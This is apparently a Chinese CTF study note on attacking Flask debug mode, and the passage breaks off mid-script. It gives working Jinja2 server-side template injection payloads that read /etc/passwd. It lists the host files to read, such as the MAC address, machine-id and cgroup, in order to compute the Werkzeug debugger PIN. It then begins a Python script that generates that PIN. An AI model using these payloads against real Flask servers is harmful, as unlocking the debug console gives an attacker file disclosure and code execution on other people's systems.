ssti的payload还是不太会写…
Flask debug 模式生成pin码
计算pin所需要的值为:
1.flask所登录的用户名
2.modname
3.getattr(app, “name”, app.class.name)
4.flask库下app.py的绝对路径
5.当前网络的mac地址的十进制数
6.docker机器id
1.flask所登录的用户名
/etc/passwd 中找到用户名
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__=='catch_warnings' %}
{
{
c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}
{
% endif %}
{
% endfor %}
也可以
{
{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
2.modname
一般为固定值flask.app
3.getattr(app, '__name__', getattr(app.__class__, '__name__'))
一般为固定值Flask
4.getattr(mod, '__file__', None)
app.py的绝对路径
flask目录下的一个app.py的绝对路径 从网站报错信息中可以看到
有人说是要加上pyc,我试的不用
5.uuid.getnode() mac地址
当前网络的mac地址的十进制数
读取文件**/sys/class/net/eth0/address** 或者 /sys/class/net/eth33/address eth0为网卡
6.get_machine_id() 机器id
每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。
docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
计算pin脚本
大佬写的脚本
#!/usr/bin/python2.7
#coding:utf-8
from sys import *
import requests
import re
from itertools import chain
import hashlib
def genpin(mac,mid):
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac),# str(uuid.getnode()), /sys/class/net/eth0/address
str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(